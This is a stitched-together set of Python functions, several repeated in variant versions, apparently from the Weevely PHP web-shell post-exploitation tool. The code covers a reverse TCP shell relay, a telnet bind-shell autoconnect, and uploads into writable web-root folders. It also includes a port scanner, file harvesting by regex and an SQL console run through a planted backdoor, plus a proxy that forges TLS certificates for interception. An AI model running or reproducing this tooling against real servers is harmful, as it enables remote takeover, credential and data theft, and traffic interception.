def forward_data(self): log.warn(messages.module_backdoor_reversetcp.reverse_shell_connected) self.socket.setblocking(0) while(1): read_ready, write_ready, in_error = select.select( [self.socket, sys.stdin], [], [self.socket, sys.stdin]) try: buffer = self.socket.recv(100) while(buffer != ''): self.socket_state = True sys.stdout.write(buffer) sys.stdout.flush() buffer = self.socket.recv(100) if(buffer == ''): return except socket.error: pass while(1): r, w, e = select.select([sys.stdin], [], [], 0) if(len(r) == 0): break c = sys.stdin.read(1) if(c == ''): return if(self.socket.sendall(c) != None): return
def register_arguments(self, arguments=[]): """Register the module arguments. Register arguments to be added to the argparse parser. Args: arguments (list of dict): List of dictionaries in the form `[{ 'name' : 'arg1', 'opt' : '', .. }, {'name' : 'arg2', 'opt' : '', .. }]` to be passed to the `ArgumentParser.add_argument()` method. """ try: for arg_opts in arguments: # Handle if the argument registration is done before # The vector registration. This should at least warn if arg_opts.get('choices') == []: log.warn(messages.module.error_choices_s_s_empty % (self.name, arg_name)) self.argparser.add_argument( arg_opts['name'], **dict((k, v) for k, v in arg_opts.items() if k != 'name')) except Exception as e: raise DevException(messages.module.error_setting_arguments_s % (e))
def run(self): self._get_env_info(self.session['url']) if not self.base_folder_url or not self.base_folder_path: log.warn(messages.module_file_upload2web.failed_retrieve_info) # If remote path is a folder, get first writable folder if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run(): folders = ModuleExec("file_find", [ '-writable', '-quit', self.args['rpath'] ]).run() if not folders or not folders[0]: log.warn(messages.module_file_upload2web.failed_search_writable_starting_s % self.args['rpath']) return None, None # If the remote file name is not set, get it from lpath if self.args.get('rname'): rname = self.args.get('rname') else: lfolder, rname = os.path.split(self.args['lpath']) # TODO: all the paths should be joined with remote OS_SEP from system_info. self.args['rpath'] = os.path.join(folders[0], rname) if ModuleExec("file_upload", [ self.args['lpath'], self.args['rpath'] ]).run(): # Guess URL from rpath return [ self._map_file2web(self.args['rpath']) ]
def run(self): file_upload_args = [ self.args['rpath'] ] content = self.args.get('content') lpath = self.args.get('lpath') self._get_env_info(self.session['url']) if not self.base_folder_url or not self.base_folder_path: log.warn(messages.module_file_upload2web.failed_retrieve_info) # If remote path is a folder, get first writable folder if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run(): folders = ModuleExec("file_find", [ '-writable', '-quit', self.args['rpath'] ]).run() if not folders or not folders[0]: log.warn(messages.module_file_upload2web.failed_search_writable_starting_s % self.args['rpath']) return None, None # Get remote file name from lpath lfolder, rname = os.path.split(lpath) # TODO: all the paths should be joined with remote OS_SEP from system_info. self.args['rpath'] = os.path.join(folders[0], rname) file_upload_args = [ lpath, self.args['rpath'] ] if content: file_upload_args += [ '-content', content ] if self.args.get('simulate') or ModuleExec("file_upload", file_upload_args).run(): # Guess URL from rpath return [ self._map_file2web(self.args['rpath']) ]
def run(self, args): self._get_env_info(self.session['url']) if not self.base_folder_url or not self.base_folder_path: log.warn(messages.module_file_upload2web.failed_retrieve_info) # If remote path is a folder, get first writable folder if ModuleExec("file_check", [args['rpath'], 'dir']).run(): folders = ModuleExec("file_find", ['-writable', '-quit', args['rpath']]).run() if not folders or not folders[0]: log.warn(messages.module_file_upload2web. failed_search_writable_starting_s % args['rpath']) return # Get file name from lpath lfolder, lname = os.path.split(args['lpath']) # TODO: all the paths should be joined with remote OS_SEP from system_info. args['rpath'] = os.path.join(folders[0], lname) if ModuleExec("file_upload", [args['lpath'], args['rpath']]).run(): # Guess URL from rpath return [self._map_file2web(args['rpath'])]
def _print_response_status(self, command, code, response): """ Debug print and warning in case of missing response and HTTP errors """ # log.debug( # utilities.shorten_string( # command, # keep_header = 40, # keep_trailer = 40 # ) # ) log.debug('PAYLOAD %s' % command) dlog.info('== RESPONSE ==\n%s==== END ====' % response) if response: return if code == 404: log.warn(messages.module_shell_php.error_404_remote_backdoor) elif code == 500: log.warn(messages.module_shell_php.error_500_executing) elif code == -1: log.warn(messages.module_shell_php.error_URLError_network) elif code != 200: log.warn(messages.module_shell_php.error_i_executing % code) command_last_chars = utilities.shorten_string(command.rstrip(), keep_trailer=10) if (command_last_chars and command_last_chars[-1] not in (';', '}')): log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)
def connect_intercept(self): hostname = self.path.split(':')[0] certname = "%s.crt" % (hostname) certpath = os.path.join(self.certdir, certname) if not (re_valid_ip.match(hostname) or re_valid_hostname.match(hostname)): log.warn("CN name '%s' is not valid, using 'www.weevely.com'" % (hostname)) hostname = 'www.weevely.com' with self.lock: if not os.path.isfile(certpath): epoch = "%d" % (time.time() * 1000) p1 = Popen(["openssl", "req", "-new", "-key", self.certkey, "-subj", "/CN=%s" % hostname], stdout=PIPE) p2 = Popen(["openssl", "x509", "-req", "-days", "3650", "-CA", self.cacert, "-CAkey", self.cakey, "-set_serial", epoch, "-out", certpath], stdin=p1.stdout, stderr=PIPE) p2.communicate() self.wfile.write("%s %d %s\r\n" % (self.protocol_version, 200, 'Connection Established')) self.end_headers() try: self.connection = ssl.wrap_socket(self.connection, keyfile=self.certkey, certfile=certpath, server_side=True) self.rfile = self.connection.makefile("rb", self.rbufsize) self.wfile = self.connection.makefile("wb", self.wbufsize) except Exception as e: log.debug(e) raise conntype = self.headers.get('Proxy-Connection', '') if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close': self.close_connection = 0 else: self.close_connection = 1
def __init__(self, dbpath, volatile = False): try: sessiondb = yaml.load(open(dbpath, 'r').read()) except Exception as e: log.warn( messages.generic.error_loading_file_s_s % (dbpath, str(e))) raise FatalException(messages.sessions.error_loading_sessions) if sessiondb and isinstance(sessiondb, dict): saved_url = sessiondb.get('url') saved_password = sessiondb.get('password') if saved_url and saved_password: if not volatile: # Register dump at exit and return atexit.register(self._session_save_atexit) self.load_session(sessiondb) return log.warn( messages.generic.error_loading_file_s_s % (dbpath, 'no url or password')) raise FatalException(messages.sessions.error_loading_sessions)
def _print_response_status(self, command, code, response): """ Debug print and warning in case of missing response and HTTP errors """ # log.debug( # utils.prettify.shorten( # command, # keep_header = 40, # keep_trailer = 40 # ) # ) dlog.info('RESPONSE: %s' % repr(response)) if response: return if code == 404: log.warn(messages.module_shell_php.error_404_remote_backdoor) elif code == 500: log.warn(messages.module_shell_php.error_500_executing) elif code == -1: log.warn(messages.module_shell_php.error_URLError_network) elif code != 200: log.warn(messages.module_shell_php.error_i_executing % code) command_last_chars = utils.prettify.shorten(command.rstrip(), keep_trailer = 10) if (command_last_chars and command_last_chars[-1] not in ( ';', '}' )): log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)
def do_request(self): if self.command == 'CONNECT' or self.path.startswith('https'): log.warn(messages.module_net_proxy.https_not_implemented) self.requestline = '' self.request_version = '' self.command = '' self.send_error(501, messages.module_net_proxy.https_not_implemented) return net_curl_args = [self.path, '-X', self.command, '-i'] for h in self.headers: if h.title() in ('Keep-Alive', 'Proxy-Connection', 'Connection'): continue net_curl_args += ['-H', '%s: %s' % (h.title(), self.headers[h])] net_curl_args += ['-H', 'Proxy-Connection: close'] if self.command == 'POST': content_len = int(self.headers.getheader('content-length', 0)) net_curl_args += ['-d', self.rfile.read(content_len)] result, headers, saved = ModuleExec('net_curl', net_curl_args).run() dlog.debug('> ' + '\r\n> '.join( ['%s: %s' % (h.title(), self.headers[h]) for h in self.headers])) dlog.debug('< ' + '\r\n< '.join(headers)) self.wfile.write('\r\n'.join(headers)) self.wfile.write('\r\n\r\n') self.wfile.write(result)
def unset(self, module_argument): """Called by user to unset the session variables""" # If action_<module_argument> function exists, trigger the action # passing None action_name = 'action_%s' % (module_argument.replace('.','_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, None) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warn(messages.sessions.error_session_s_not_modified % ( '%s.%s' % (module_name, arg_name) )) else: del self[module_name]['stored_args'][arg_name] log.info(messages.sessions.unset_module_s_s % (module_name, arg_name)) else: module_name = module_argument if module_name not in self and module_name not in set_filters: log.warn(messages.sessions.error_session_s_not_modified % (module_name)) else: self[module_name] = None log.info(messages.sessions.unset_s % (module_name))
def run_cmdline(self, line): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): string containing the module arguments. Return: Object. The result of the module execution. """ try: result = self.run_argv(shlex.split(line)) except Exception as e: log.warn(messages.generic.error_parsing_command_s % str(e)) return if result not in (None, ''): log.info(utilities.stringify(result)) # Data is returned for the testing of _cmdline calls return result
def set(self, module_argument, value): # Do a safe evaluation of the value try: value = ast.literal_eval(value) except: pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.','_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warn(messages.sessions.error_storing_s_not_found % ( '%s.%s' % (module_name, arg_name) )) else: self[module_name]['stored_args'][arg_name] = value log.info("%s.%s = '%s'" % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self or module_name not in set_filters: log.warn(messages.sessions.error_storing_s_not_found % (module_name)) else: self[module_name] = value log.info("%s = %s" % (module_name, value)) # If the channel is changed, the basic shell_php is moved # to IDLE and must be setup again. if module_name == 'channel': self['shell_php']['status'] = Status.IDLE
def forward_data(self): log.warn(messages.module_backdoor_reversetcp.reverse_shell_connected) self.socket.setblocking(0) while (1): read_ready, write_ready, in_error = select.select( [self.socket, sys.stdin], [], [self.socket, sys.stdin]) try: buf = self.socket.recv(100) while (buf != ''): self.socket_state = True sys.stdout.write(buf.decode('utf-8', 'replace')) sys.stdout.flush() buf = self.socket.recv(100) if (buf == ''): return except socket.error: pass while (1): r, w, e = select.select([sys.stdin], [], [], 0) if (len(r) == 0): break c = sys.stdin.read(1) if (c == ''): return if (self.socket.sendall(c.encode('utf-8')) != None): return
def register_arguments(self, arguments = []): """Register the module arguments. Register arguments to be added to the argparse parser. Args: arguments (list of dict): List of dictionaries in the form `[{ 'name' : 'arg1', 'opt' : '', .. }, {'name' : 'arg2', 'opt' : '', .. }]` to be passed to the `ArgumentParser.add_argument()` method. """ try: for arg_opts in arguments: # Handle if the argument registration is done before # The vector registration. This should at least warn if arg_opts.get('choices') == []: log.warn(messages.module.error_choices_s_s_empty % (self.name, arg_name)) self.argparser.add_argument( arg_opts['name'], **dict((k, v) for k, v in arg_opts.items() if k != 'name') ) except Exception as e: raise DevException(messages.module.error_setting_arguments_s % (e))
def set(self, module_argument, value): """Called by user to set or show the session variables""" # I safely evaluate the value type to avoid to save only # strings type. Dirty but effective. # TODO: the actual type of the argument could be acquired # from modules[module].argparser. try: value = ast.literal_eval(value) except Exception as e: # If is not evalued, just keep it as string pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.','_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') # Should be OK to set whethever variable we want # and which will eventually be used by a module. self[module_name]['stored_args'][arg_name] = value log.info(messages.sessions.set_module_s_s_s % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self and module_name not in set_filters: log.warn(messages.sessions.error_session_s_not_modified % (module_name)) else: self[module_name] = value log.info(messages.sessions.set_s_s % (module_name, value))
def send(self, payload): response = '' code = 200 error = '' human_error = '' try: response = self.channel_loaded.send( payload, self._additional_handlers() ) except socks.ProxyError as e: if e.socket_err and e.socket_err.errno: code = e.socket_err.errno if e.msg: error = str(e.msg) human_error = messages.module_shell_php.error_proxy except HTTPError as e: if e.code: code = e.code if e.reason: error = str(e.reason) if code == 404: human_error = messages.module_shell_php.error_404_remote_backdoor elif code == 500: human_error = messages.module_shell_php.error_500_executing elif code != 200: human_error = messages.module_shell_php.error_i_executing % code except URLError as e: code = 0 if e.reason: error = str(e.reason) human_error = messages.module_shell_php.error_URLError_network if response: dlog.info('RESPONSE: %s' % repr(response)) else: command_last_chars = utils.prettify.shorten( payload.rstrip(), keep_trailer = 10 ) if ( command_last_chars and command_last_chars[-1] not in ( ';', '}' ) ): log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars) if error or human_error: log.debug('[ERR] %s [%s]' % (error, code)) log.warn(human_error) return response, code, error
def run(self): ## Address handling # Explode every single IP or network starting from # format IP1,IP2-IP3,IP/MASK,.. IPs = [] for ip_or_network in self.args["addresses"].split(","): if ip_or_network.count("-") == 1: # If there is a dash, explode IPs += list(utils.iputil.ip_range(ip_or_network)) elif ip_or_network.count("/") == 1: # If there is a /, too IPs += [str(utils.ipaddr.IPAddress(ip)) for ip in utils.ipaddr.IPNetwork(ip_or_network)] else: IPs.append(ip_or_network) ## Port handling prts = utils.iputil.port_range(self.args["ports"]) results_string = "" for ips_chunk in list(utils.strings.chunks(IPs, self.args["addresses_per_request"])): for prts_chunk in list(utils.strings.chunks(prts, self.args["ports_per_request"])): results_string += self.vectors.get_result( name="fsockopen", format_args={"ips": ips_chunk, "prts": prts_chunk, "timeout": self.args["timeout"]}, ) log.warn( "Scanning addresses %s-%s:%i-%i" % (ips_chunk[0], ips_chunk[-1], prts_chunk[0], prts_chunk[-1]) ) # Crappy output handling result = [] for result_string in results_string.split("\n"): addr_string_splitted = result_string.split(" ") if addr_string_splitted[0] == "OPN": address = addr_string_splitted[1] error = "OPEN" elif addr_string_splitted[0] == "ERR": address = addr_string_splitted[1] error = "%s (%s)" % (" ".join(addr_string_splitted[2:-1]), addr_string_splitted[-1]) else: log.debug(messages.module_net_scan.unexpected_response) continue if self.args.get("print"): result.append((address, error)) elif error == "OPEN": result.append(address) return result
def run(self): files = [] if ModuleExec("file_check", [self.args['rpath'], 'dir']).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = ['-readable', self.args['rpath']] if self.args.get('name_regex'): file_find_args += ['-name-regex', self.args.get('name_regex')] if self.args.get('no_recursion'): file_find_args += ['-no-recursion'] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [self.args['rpath'], 'file']).run() and ModuleExec("file_check", [self.args['rpath'], 'readable']).run()): # If the remote path is a readable file, just store the path files = [self.args['rpath']] # Validate files presence if not isinstance(files, list) or not files: log.warn(messages.module_file_grep.failed_retrieve_info) return # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` results = {} for rfile in files: result = self.vectors.get_result( self.args['vector'], { 'regex': self.args['regex'], 'rfile': rfile, 'case': self.args['case'] }) result_list = result.split('\n') if isinstance( result, str) and result else [] if result_list: if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % (rfile, line)) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list return results
def run(self, args): files = [] if ModuleExec("file_check", [ args['rpath'], 'dir' ]).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = [ '-readable', args['rpath'] ] if args.get('name_regex'): file_find_args += [ '-name-regex', args.get('name_regex') ] if args.get('no_recursion'): file_find_args += [ '-no-recursion' ] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [ args['rpath'], 'file' ]).run() and ModuleExec("file_check", [ args['rpath'], 'readable' ]).run()): # If the remote path is a readable file, just store the path files = [ args['rpath'] ] # Validate files presence if not isinstance(files, list) or not files: log.warn(messages.module_file_grep.failed_retrieve_info) return # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` results = {} for rfile in files: result = self.vectors.get_result( args['vector'], { 'regex' : args['regex'], 'rfile' : rfile, 'case' : args['case'] } ) result_list = result.split('\n') if isinstance(result, str) and result else [] if result_list: if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % ( rfile, line )) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list return results
def do_unset(self, line, cmd): """Command "unset" to unset session variables.""" # Print all settings that startswith args[0] if not line: log.warn(messages.terminal.unset_usage) # Set the setting else: self.session.unset(line)
def print_result(self, result): if result == None: log.warn('%s %s' % (messages.module_sql_console.no_data, messages.module_sql_console.check_credentials) ) elif not result: log.warn(messages.module_sql_console.no_data) else: Module.print_result(self, result)
def run(self): headers = [] saved = None self._encode() vector_name, result = self.vectors.find_first_result( names = [ self.args.get('vector') ], format_args = self.args, condition = lambda r: r if r and r.strip() else None ) # Print error and exit with no response or no headers if not (vector_name and result): log.warn(messages.module_net_curl.unexpected_response) return None, headers, saved elif not '\r\n'*2 in result: # If something is returned but there is \r\n*2, we consider # everything as header. It happen with responses 204 No contents # that end with \r\n\r (wtf). headers = result result = '' else: headers, result = result.split('\r\n'*2, 1) headers = ( [ h.rstrip() for h in headers.split('\r\n') ] if '\r\n' in headers else headers ) output_path = self.args.get('output') if output_path: # If response must be saved, it's anyway safer to save it # within additional requests if not self.args.get('local'): saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run() else: try: open(output_path, 'wb').write(result) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (output_path, str(e))) saved = False else: saved = True return result, headers, saved
def run(self): # The correct execution returns something only on errors result_err = self.vectors.get_result( name = 'php_bzip2', format_args = self.args, ) if result_err: log.warn(result_err) return return True
def run(self): # The correct execution returns something only on errors result_err = self.vectors.get_result( name = 'php_zip', format_args = self.args, ) if result_err: log.warn(result_err) return return True
def run(self): # Run all the vectors for vector in self.vectors: # Skip vector if -vector is specified but does not match if self.args.get('vector') and self.args.get('vector') != vector.name: continue # Background run does not return results vector.run(self.args) # If set, skip autoconnect if self.args.get('no_autoconnect'): continue # Give some time to spawn the shell time.sleep(1) urlparsed = urlparse.urlparse(self.session['url']) if not urlparsed.hostname: log.debug( messages.module_backdoor_tcp.error_parsing_connect_s % self.args['port'] ) continue try: telnetlib.Telnet(urlparsed.hostname, self.args['port'], timeout = 5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug( messages.module_backdoor_tcp.error_connecting_to_s_s_s % ( urlparsed.hostname, self.args['port'], e ) ) # If autoconnect was expected but Telnet() calls worked, # prints error message if not self.args.get('no_autoconnect'): log.warn( messages.module_backdoor_tcp.error_connecting_to_s_s_s % ( urlparsed.hostname, self.args['port'], 'remote port not open or unreachable' ) )
def run(self): headers = [] saved = None vector_name, result = self.vectors.find_first_result( names = [ self.args.get('vector') ], format_args = self.args, condition = lambda r: r if r and r.strip() else None ) # Print error and exit with no response or no headers if not (vector_name and result): log.warn(messages.module_net_curl.unexpected_response) return None, headers, saved elif not '\r\n'*2 in result: # If something is returned but there is \r\n*2, we consider # everything as header. It happen with responses 204 No contents # that end with \r\n\r (wtf). headers = result result = '' else: headers, result = result.split('\r\n'*2, 1) headers = ( [ h.rstrip() for h in headers.split('\r\n') ] if '\r\n' in headers else headers ) output_path = self.args.get('output') if output_path: # If response must be saved, it's anyway safer to save it # within additional requests if not self.args.get('local'): saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run() else: try: open(output_path, 'wb').write(result) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (output_path, str(e))) saved = False else: saved = True return result, headers, saved
def run_cmdline(self, line, cmd = ''): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): the module arguments. cmd (str): the executed command Return: Object. The result of the module execution. """ # Split the command line try: command = shlex.split(line) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit, # and other exceptions try: result = self.run_argv(command) except (KeyboardInterrupt, EOFError): log.info(messages.module.module_s_exec_terminated % self.name) return except ArgparseError: return except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.module.error_module_exec_error_s % str(e)) return self.print_result( result[:-1] if ( isinstance(result, basestring) and result.endswith('\n') ) else result ) # Data is returned for the testing of _cmdline calls return result
def connect_intercept(self): hostname = self.path.split(':')[0] certname = "%s.crt" % (hostname) certpath = os.path.join(self.certdir, certname) if not (re_valid_ip.match(hostname) or re_valid_hostname.match(hostname)): log.warn("CN name '%s' is not valid, using 'www.weevely.com'" % (hostname)) hostname = 'www.weevely.com' with self.lock: if not os.path.isfile(certpath): epoch = "%d" % (time.time() * 1000) p1 = Popen([ "openssl", "req", "-new", "-key", self.certkey, "-subj", "/CN=%s" % hostname ], stdout=PIPE) p2 = Popen([ "openssl", "x509", "-req", "-days", "3650", "-CA", self.cacert, "-CAkey", self.cakey, "-set_serial", epoch, "-out", certpath ], stdin=p1.stdout, stderr=PIPE) p2.communicate() self.wfile.write( "%s %d %s\r\n" % (self.protocol_version, 200, 'Connection Established')) self.end_headers() try: self.connection = ssl.wrap_socket(self.connection, keyfile=self.certkey, certfile=certpath, server_side=True) self.rfile = self.connection.makefile("rb", self.rbufsize) self.wfile = self.connection.makefile("wb", self.wbufsize) except Exception as e: log.debug(e) raise conntype = self.headers.get('Proxy-Connection', '') if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close': self.close_connection = 0 else: self.close_connection = 1
def run_cmdline(self, line, cmd=''): """Execute the module from command line. Get command line string as argument. Called from terminal. Normally does not need to be overridden. Args: line (str): the module arguments. cmd (str): the executed command Return: Object. The result of the module execution. """ # Split the command line try: command = shlex.split(line) except Exception as e: import traceback log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit, # and other exceptions try: result = self.run_argv(command) except (KeyboardInterrupt, EOFError): log.info(messages.module.module_s_exec_terminated % self.name) return except ArgparseError: return except Exception as e: import traceback log.debug(traceback.format_exc()) log.warn(messages.module.error_module_exec_error_s % str(e)) return self.print_result(result[:-1] if ( isinstance(result, basestring) and result.endswith('\n') ) else result) # Data is returned for the testing of _cmdline calls return result
def do_set(self, line, cmd): """Command "set" to set session variables.""" try: args = shlex.split(line) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) # Set the setting else: if len(args) < 2: log.warn(messages.terminal.set_usage) elif len(args) >= 2: args[1] = ' '.join(args[1:]) self.session.set(args[0], args[1])
def _query(self, vector, args): result = self.vectors.get_result(vector, args) if result: return [ line.split('\x00') for line in result.strip('\x00').replace('\x00\n', '\n').split('\n') ] # If the result is none, prints error message about missing trailer command_last_chars = utilities.shorten_string(args['query'].rstrip(), keep_trailer = 10) if (command_last_chars and command_last_chars[-1] != ';'): log.warn(messages.module_sql_console.missing_sql_trailer_s % command_last_chars)
def print_result(self, result): if result['error']: log.info(result['error']) if result['result']: Module.print_result(self, result['result']) elif not result['error']: log.warn('%s %s' % (messages.module_sql_console.no_data, messages.module_sql_console.check_credentials)) command_last_chars = utils.prettify.shorten( self.args['query'].rstrip(), keep_trailer=10) if (command_last_chars and command_last_chars[-1] != ';'): log.warn(messages.module_sql_console.missing_sql_trailer_s % command_last_chars)
def run(self, args): # Call raw ifconfig from $PATH and return it result = self._get_ifconfig_result("ifconfig") if result: return result # Is usually not in $PATH cause is suid. Enumerating paths. ifconfig_paths = ModuleExec('file_enum', [ '%sifconfig' % x for x in [ '/sbin/', '/bin/', '/usr/bin/', '/usr/sbin/', '/usr/local/bin/', '/usr/local/sbin/' ] ]).run() for path in ifconfig_paths: result = self._get_ifconfig_result(path) if result: return result log.warn(messages.module_net_ifconfig.failed_retrieve_info)
def do_set(self, line): """Command "set" to set session variables.""" try: args = shlex.split(line) except Exception as e: log.warn(messages.generic.error_parsing_command_s % str(e)) return # Print all settings that startswith args[0] if len(args) < 2: self.session.print_to_user(args[0] if args else '') # Set the setting else: if len(args) > 2: args[1] = ' '.join(args[1:]) self.session.set(args[0], args[1])
def do_request(self): if self.command == 'CONNECT' or self.path.startswith('https'): log.warn(messages.module_net_proxy.https_not_implemented) self.requestline = '' self.request_version = '' self.command = '' self.send_error( 501, messages.module_net_proxy.https_not_implemented ) return net_curl_args = [ self.path, '-X', self.command, '-i' ] for h in self.headers: if h.title() in ('Keep-Alive', 'Proxy-Connection', 'Connection'): continue net_curl_args += [ '-H', '%s: %s' % ( h.title(), self.headers[h] ) ] net_curl_args += [ '-H', 'Proxy-Connection: close' ] if self.command == 'POST': content_len = int(self.headers.getheader('content-length', 0)) net_curl_args += [ '-d', self.rfile.read(content_len) ] result, headers, saved = ModuleExec( 'net_curl', net_curl_args ).run() dlog.debug('> ' + '\r\n> '.join([ '%s: %s' % (h.title(), self.headers[h]) for h in self.headers ])) dlog.debug('< ' + '\r\n< '.join(headers)) self.wfile.write('\r\n'.join(headers)) self.wfile.write('\r\n\r\n') self.wfile.write(result)
def run(self): if self.args.get('z'): ModuleExec('file_gzip', [ '--keep', '--decompress', self.args['rtar'] ]).run() self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) elif self.args.get('j'): ModuleExec('file_bzip2', [ '--keep', '--decompress', self.args['rtar'] ]).run() self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) # The correct execution returns something only on errors result_err = self.vectors.get_result( name = 'php_tar', format_args = self.args, ) if result_err: log.warn(result_err) return return True
def set(self, module_argument, value): """Called by user to set or show the session variables""" # I safely evaluate the value type to avoid to save only # strings type. Dirty but effective. # TODO: the actual type of the argument could be acquired # from modules[module].argparser. try: value = ast.literal_eval(value) except Exception as e: # If is not evalued, just keep it as string pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.', '_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warn(messages.sessions.error_storing_s_not_found % ('%s.%s' % (module_name, arg_name))) else: self[module_name]['stored_args'][arg_name] = value log.info("%s.%s = '%s'" % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self or module_name not in set_filters: log.warn(messages.sessions.error_storing_s_not_found % (module_name)) else: self[module_name] = value log.info("%s = %s" % (module_name, value)) # If the channel is changed, the basic shell_php is moved # to IDLE and must be setup again. if module_name == 'channel': self['shell_php']['status'] = Status.IDLE
def run(self, args): # The vector name is given by the db type vector = args.get('dbms') # And by the user and password presence vector += ( '' if args.get('user') and args.get('passwd') else '_fallback' ) # If the query is set, just execute it if args.get('query'): return self._query(vector, args) # Else, start the console. # Check credentials args['query'] = ( 'SELECT USER;' if vector.startswith('pgsql') else 'SELECT USER();' ) user = self._query(vector, args) if not user: log.warn(messages.module_sql_console.check_credentials) return if user[0]: user = user[0][0] # Console loop while True: query = raw_input('%s SQL> ' % user).strip() if not query: continue if query == 'quit': break args['query'] = query result = self._query(vector, args) self.print_result(result)
def do_set(self, line, cmd): """Command "set" to set session variables.""" try: args = shlex.split(line) except Exception as e: import traceback log.debug(traceback.format_exc()) log.warn(messages.generic.error_parsing_command_s % str(e)) return # Print all settings that startswith args[0] if len(args) < 2: self.session.print_to_user(args[0] if args else '') # Set the setting else: if len(args) > 2: args[1] = ' '.join(args[1:]) self.session.set(args[0], args[1])
def print_result(self, result): if result['error']: log.info(result['error']) if result['result']: Module.print_result(self, result['result']) elif not result['error']: log.warn('%s %s' % (messages.module_sql_console.no_data, messages.module_sql_console.check_credentials) ) command_last_chars = utils.prettify.shorten( self.args['query'].rstrip(), keep_trailer = 10 ) if (command_last_chars and command_last_chars[-1] != ';'): log.warn(messages.module_sql_console.missing_sql_trailer_s % command_last_chars)
def set(self, module_argument, value): """Called by user to set or show the session variables""" # I safely evaluate the value type to avoid to save only # strings type. Dirty but effective. # TODO: the actual type of the argument could be acquired # from modules[module].argparser. try: value = ast.literal_eval(value) except Exception as e: # If is not evalued, just keep it as string pass # If action_<module_argument> function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.','_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warn(messages.sessions.error_storing_s_not_found % ( '%s.%s' % (module_name, arg_name) )) else: self[module_name]['stored_args'][arg_name] = value log.info("%s.%s = '%s'" % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self or module_name not in set_filters: log.warn(messages.sessions.error_storing_s_not_found % (module_name)) else: self[module_name] = value log.info("%s = %s" % (module_name, value)) # If the channel is changed, the basic shell_php is moved # to IDLE and must be setup again. if module_name == 'channel': self['shell_php']['status'] = Status.IDLE
def _map_folder2web(self, relative_path_folder='.'): absolute_path = ModuleExec('file_check', [relative_path_folder, 'abspath']).run() if not absolute_path: log.warn(messages.module_file_upload2web.failed_resolve_path) return None, None if not absolute_path.startswith(self.base_folder_path.rstrip('/')): log.warn( messages.module_file_upload2web.error_s_not_under_webroot_s % (absolute_path, self.base_folder_path.rstrip('/'))) return None, None relative_to_webroot_path = absolute_path.replace( self.base_folder_path, '') url_folder = '%s/%s' % (self.base_folder_url.rstrip('/'), relative_to_webroot_path.lstrip('/')) return absolute_path, url_folder
def run(self): if self.args.get('z'): ModuleExec('file_gzip', ['--keep', '--decompress', self.args['rtar']]).run() self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) elif self.args.get('j'): ModuleExec('file_bzip2', ['--keep', '--decompress', self.args['rtar']]).run() self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) # The correct execution returns something only on errors result_err = self.vectors.get_result( name='php_tar', format_args=self.args, ) if result_err: log.warn(result_err) return return True
